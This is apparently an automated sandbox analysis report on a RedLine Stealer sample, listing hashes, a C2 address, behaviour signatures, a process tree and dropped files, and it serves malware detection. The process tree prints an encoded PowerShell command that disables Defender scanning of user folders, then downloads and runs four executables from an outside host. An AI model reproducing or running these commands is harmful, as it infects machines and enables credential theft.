Analysis

  • max time kernel
    182s
  • max time network
    225s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    16/01/2023, 13:13

General

  • Target

    77d29818be0d01c38545baa0bd4551c6853c224b.exe

  • Size

    365KB

  • MD5

    343adbd49e24d1bdec30f634f4055da8

  • SHA1

    77d29818be0d01c38545baa0bd4551c6853c224b

  • SHA256

    404c51dbba49787d8c3d9cde78efc1a5eb0d9f139c0c6b130438870a0ecc244c

  • SHA512

    4c6831539aef807c7cb4875306e5fecc06b769924e0a1f80a5316f194a5235ec9e904c932b3ec4021e7ef2237bc2dba3db47a8a1cb20244c67c9fa1e6d88298f

  • SSDEEP

    6144:SVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO1DAjWbc:SRDF2BpjLQLsvBP0+ecyEY37C8P

Score
10/10

Malware Config

Extracted

Family

redline

Botnet

1

C2

107.182.129.73:21733

Attributes
  • auth_value

    3a5bb0917495b4312d052a0b8977d2bb

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 4 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 9 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Program crash 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe
    "C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1780
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1784
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
        3⤵
        • Blocklisted process makes network request
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1076
        • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
          "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
          4⤵
          • Executes dropped EXE
          PID:1196
        • C:\Users\Admin\AppData\Local\Temp\new2.exe
          "C:\Users\Admin\AppData\Local\Temp\new2.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:1964
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
            5⤵
              PID:1192
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1964 -s 36
              5⤵
              • Loads dropped DLL
              • Program crash
              PID:1904
          • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
            "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
            4⤵
            • Executes dropped EXE
            PID:928
          • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
            "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
            4⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            PID:1588
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1780 -s 36
        2⤵
        • Program crash
        PID:1244
    • C:\Windows\Explorer.EXE
      C:\Windows\Explorer.EXE
      1⤵
        PID:1276
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          PID:1744

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

              Filesize

              1.4MB

              MD5

              bb86a343080f9f4696c250ef31a18d9d

              SHA1

              43b2193dcb1d56eac73ba88a7b461822074192d6

              SHA256

              095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

              SHA512

              24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

            • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

              Filesize

              1.4MB

              MD5

              bb86a343080f9f4696c250ef31a18d9d

              SHA1

              43b2193dcb1d56eac73ba88a7b461822074192d6

              SHA256

              095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

              SHA512

              24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

            • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

              Filesize

              3.7MB

              MD5

              f5c51e7760315ad0f0238d268c03c60e

              SHA1

              85ebaaa9685634143a72bc82c6e7df87a78eed4c

              SHA256

              ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

              SHA512

              d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

            • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

              Filesize

              1.4MB

              MD5

              b6bbab9f72c88d07b484cc339c475e75

              SHA1

              f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

              SHA256

              dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

              SHA512

              1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

            • C:\Users\Admin\AppData\Local\Temp\new2.exe

              Filesize

              464KB

              MD5

              990c8e3fc56a2734631b51fc61a6779a

              SHA1

              55a16cc67fc52cdf0690387e083955048106d48a

              SHA256

              d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

              SHA512

              f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

            • \Users\Admin\AppData\Local\Temp\C4Loader.exe

              Filesize

              1.4MB

              MD5

              bb86a343080f9f4696c250ef31a18d9d

              SHA1

              43b2193dcb1d56eac73ba88a7b461822074192d6

              SHA256

              095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

              SHA512

              24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

            • \Users\Admin\AppData\Local\Temp\C4Loader.exe

              Filesize

              1.4MB

              MD5

              bb86a343080f9f4696c250ef31a18d9d

              SHA1

              43b2193dcb1d56eac73ba88a7b461822074192d6

              SHA256

              095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

              SHA512

              24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

            • \Users\Admin\AppData\Local\Temp\SmartDefRun.exe

              Filesize

              3.7MB

              MD5

              f5c51e7760315ad0f0238d268c03c60e

              SHA1

              85ebaaa9685634143a72bc82c6e7df87a78eed4c

              SHA256

              ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

              SHA512

              d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

            • \Users\Admin\AppData\Local\Temp\SysApp.exe

              Filesize

              1.4MB

              MD5

              b6bbab9f72c88d07b484cc339c475e75

              SHA1

              f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

              SHA256

              dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

              SHA512

              1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

            • \Users\Admin\AppData\Local\Temp\SysApp.exe

              Filesize

              1.4MB

              MD5

              b6bbab9f72c88d07b484cc339c475e75

              SHA1

              f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

              SHA256

              dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

              SHA512

              1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

            • \Users\Admin\AppData\Local\Temp\new2.exe

              Filesize

              464KB

              MD5

              990c8e3fc56a2734631b51fc61a6779a

              SHA1

              55a16cc67fc52cdf0690387e083955048106d48a

              SHA256

              d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

              SHA512

              f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

            • \Users\Admin\AppData\Local\Temp\new2.exe

              Filesize

              464KB

              MD5

              990c8e3fc56a2734631b51fc61a6779a

              SHA1

              55a16cc67fc52cdf0690387e083955048106d48a

              SHA256

              d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

              SHA512

              f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

            • \Users\Admin\AppData\Local\Temp\new2.exe

              Filesize

              464KB

              MD5

              990c8e3fc56a2734631b51fc61a6779a

              SHA1

              55a16cc67fc52cdf0690387e083955048106d48a

              SHA256

              d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

              SHA512

              f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

            • \Users\Admin\AppData\Local\Temp\new2.exe

              Filesize

              464KB

              MD5

              990c8e3fc56a2734631b51fc61a6779a

              SHA1

              55a16cc67fc52cdf0690387e083955048106d48a

              SHA256

              d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

              SHA512

              f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

            • memory/1076-69-0x0000000073180000-0x000000007372B000-memory.dmp

              Filesize

              5.7MB

            • memory/1076-68-0x0000000073180000-0x000000007372B000-memory.dmp

              Filesize

              5.7MB

            • memory/1192-80-0x0000000000080000-0x00000000000A0000-memory.dmp

              Filesize

              128KB

            • memory/1192-87-0x0000000000080000-0x00000000000A0000-memory.dmp

              Filesize

              128KB

            • memory/1192-88-0x0000000000080000-0x00000000000A0000-memory.dmp

              Filesize

              128KB

            • memory/1192-78-0x0000000000080000-0x00000000000A0000-memory.dmp

              Filesize

              128KB

            • memory/1196-99-0x0000000000150000-0x00000000002BC000-memory.dmp

              Filesize

              1.4MB

            • memory/1744-100-0x000007FEFBC61000-0x000007FEFBC63000-memory.dmp

              Filesize

              8KB

            • memory/1784-64-0x0000000000400000-0x0000000000405000-memory.dmp

              Filesize

              20KB

            • memory/1784-63-0x0000000075B11000-0x0000000075B13000-memory.dmp

              Filesize

              8KB

            • memory/1784-54-0x0000000000400000-0x0000000000405000-memory.dmp

              Filesize

              20KB

            • memory/1784-56-0x0000000000400000-0x0000000000405000-memory.dmp

              Filesize

              20KB